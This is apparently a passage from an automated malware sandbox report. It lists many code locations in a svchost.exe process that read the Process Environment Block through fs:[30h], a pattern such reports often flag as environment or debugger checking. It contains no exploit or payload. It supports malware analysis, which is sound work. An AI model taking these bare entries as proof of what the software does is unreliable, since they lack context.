Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772750 mov eax, dword ptr fs:[00000030h]	2_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772750 mov eax, dword ptr fs:[00000030h]	2_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4755 mov eax, dword ptr fs:[00000030h]	2_2_037B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov esi, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov eax, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov eax, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov eax, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov ecx, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov eax, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AC730 mov eax, dword ptr fs:[00000030h]	2_2_037AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C720 mov eax, dword ptr fs:[00000030h]	2_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C720 mov eax, dword ptr fs:[00000030h]	2_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730710 mov eax, dword ptr fs:[00000030h]	2_2_03730710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760710 mov eax, dword ptr fs:[00000030h]	2_2_03760710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C700 mov eax, dword ptr fs:[00000030h]	2_2_0376C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037347FB mov eax, dword ptr fs:[00000030h]	2_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037347FB mov eax, dword ptr fs:[00000030h]	2_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_037BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B07C3 mov eax, dword ptr fs:[00000030h]	2_2_037B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037307AF mov eax, dword ptr fs:[00000030h]	2_2_037307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E47A0 mov eax, dword ptr fs:[00000030h]	2_2_037E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D678E mov eax, dword ptr fs:[00000030h]	2_2_037D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03762674 mov eax, dword ptr fs:[00000030h]	2_2_03762674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F866E mov eax, dword ptr fs:[00000030h]	2_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F866E mov eax, dword ptr fs:[00000030h]	2_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A660 mov eax, dword ptr fs:[00000030h]	2_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A660 mov eax, dword ptr fs:[00000030h]	2_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374C640 mov eax, dword ptr fs:[00000030h]	2_2_0374C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E627 mov eax, dword ptr fs:[00000030h]	2_2_0374E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03766620 mov eax, dword ptr fs:[00000030h]	2_2_03766620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768620 mov eax, dword ptr fs:[00000030h]	2_2_03768620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373262C mov eax, dword ptr fs:[00000030h]	2_2_0373262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772619 mov eax, dword ptr fs:[00000030h]	2_2_03772619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE609 mov eax, dword ptr fs:[00000030h]	2_2_037AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B06F1 mov eax, dword ptr fs:[00000030h]	2_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B06F1 mov eax, dword ptr fs:[00000030h]	2_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037666B0 mov eax, dword ptr fs:[00000030h]	2_2_037666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0376C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734690 mov eax, dword ptr fs:[00000030h]	2_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734690 mov eax, dword ptr fs:[00000030h]	2_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738550 mov eax, dword ptr fs:[00000030h]	2_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738550 mov eax, dword ptr fs:[00000030h]	2_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6500 mov eax, dword ptr fs:[00000030h]	2_2_037C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037325E0 mov eax, dword ptr fs:[00000030h]	2_2_037325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C5ED mov eax, dword ptr fs:[00000030h]	2_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C5ED mov eax, dword ptr fs:[00000030h]	2_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037365D0 mov eax, dword ptr fs:[00000030h]	2_2_037365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E5CF mov eax, dword ptr fs:[00000030h]	2_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E5CF mov eax, dword ptr fs:[00000030h]	2_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037545B1 mov eax, dword ptr fs:[00000030h]	2_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037545B1 mov eax, dword ptr fs:[00000030h]	2_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E59C mov eax, dword ptr fs:[00000030h]	2_2_0376E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732582 mov eax, dword ptr fs:[00000030h]	2_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732582 mov ecx, dword ptr fs:[00000030h]	2_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764588 mov eax, dword ptr fs:[00000030h]	2_2_03764588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC460 mov ecx, dword ptr fs:[00000030h]	2_2_037BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA456 mov eax, dword ptr fs:[00000030h]	2_2_037EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372645D mov eax, dword ptr fs:[00000030h]	2_2_0372645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375245A mov eax, dword ptr fs:[00000030h]	2_2_0375245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A430 mov eax, dword ptr fs:[00000030h]	2_2_0376A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C427 mov eax, dword ptr fs:[00000030h]	2_2_0372C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037304E5 mov ecx, dword ptr fs:[00000030h]	2_2_037304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037644B0 mov ecx, dword ptr fs:[00000030h]	2_2_037644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_037BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037364AB mov eax, dword ptr fs:[00000030h]	2_2_037364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA49A mov eax, dword ptr fs:[00000030h]	2_2_037EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CB7E mov eax, dword ptr fs:[00000030h]	2_2_0372CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DEB50 mov eax, dword ptr fs:[00000030h]	2_2_037DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4B4B mov eax, dword ptr fs:[00000030h]	2_2_037E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4B4B mov eax, dword ptr fs:[00000030h]	2_2_037E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6B40 mov eax, dword ptr fs:[00000030h]	2_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6B40 mov eax, dword ptr fs:[00000030h]	2_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FAB40 mov eax, dword ptr fs:[00000030h]	2_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D8B42 mov eax, dword ptr fs:[00000030h]	2_2_037D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EB20 mov eax, dword ptr fs:[00000030h]	2_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EB20 mov eax, dword ptr fs:[00000030h]	2_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F8B28 mov eax, dword ptr fs:[00000030h]	2_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F8B28 mov eax, dword ptr fs:[00000030h]	2_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EBFC mov eax, dword ptr fs:[00000030h]	2_2_0375EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_037BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_037DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740BBE mov eax, dword ptr fs:[00000030h]	2_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740BBE mov eax, dword ptr fs:[00000030h]	2_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_037E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_037E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804A80 mov eax, dword ptr fs:[00000030h]	2_2_03804A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037ACA72 mov eax, dword ptr fs:[00000030h]	2_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037ACA72 mov eax, dword ptr fs:[00000030h]	2_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DEA60 mov eax, dword ptr fs:[00000030h]	2_2_037DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740A5B mov eax, dword ptr fs:[00000030h]	2_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740A5B mov eax, dword ptr fs:[00000030h]	2_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03754A35 mov eax, dword ptr fs:[00000030h]	2_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03754A35 mov eax, dword ptr fs:[00000030h]	2_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA38 mov eax, dword ptr fs:[00000030h]	2_2_0376CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA24 mov eax, dword ptr fs:[00000030h]	2_2_0376CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EA2E mov eax, dword ptr fs:[00000030h]	2_2_0375EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BCA11 mov eax, dword ptr fs:[00000030h]	2_2_037BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376AAEE mov eax, dword ptr fs:[00000030h]	2_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376AAEE mov eax, dword ptr fs:[00000030h]	2_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730AD0 mov eax, dword ptr fs:[00000030h]	2_2_03730AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764AD0 mov eax, dword ptr fs:[00000030h]	2_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764AD0 mov eax, dword ptr fs:[00000030h]	2_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738AA0 mov eax, dword ptr fs:[00000030h]	2_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738AA0 mov eax, dword ptr fs:[00000030h]	2_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786AA4 mov eax, dword ptr fs:[00000030h]	2_2_03786AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768A90 mov edx, dword ptr fs:[00000030h]	2_2_03768A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
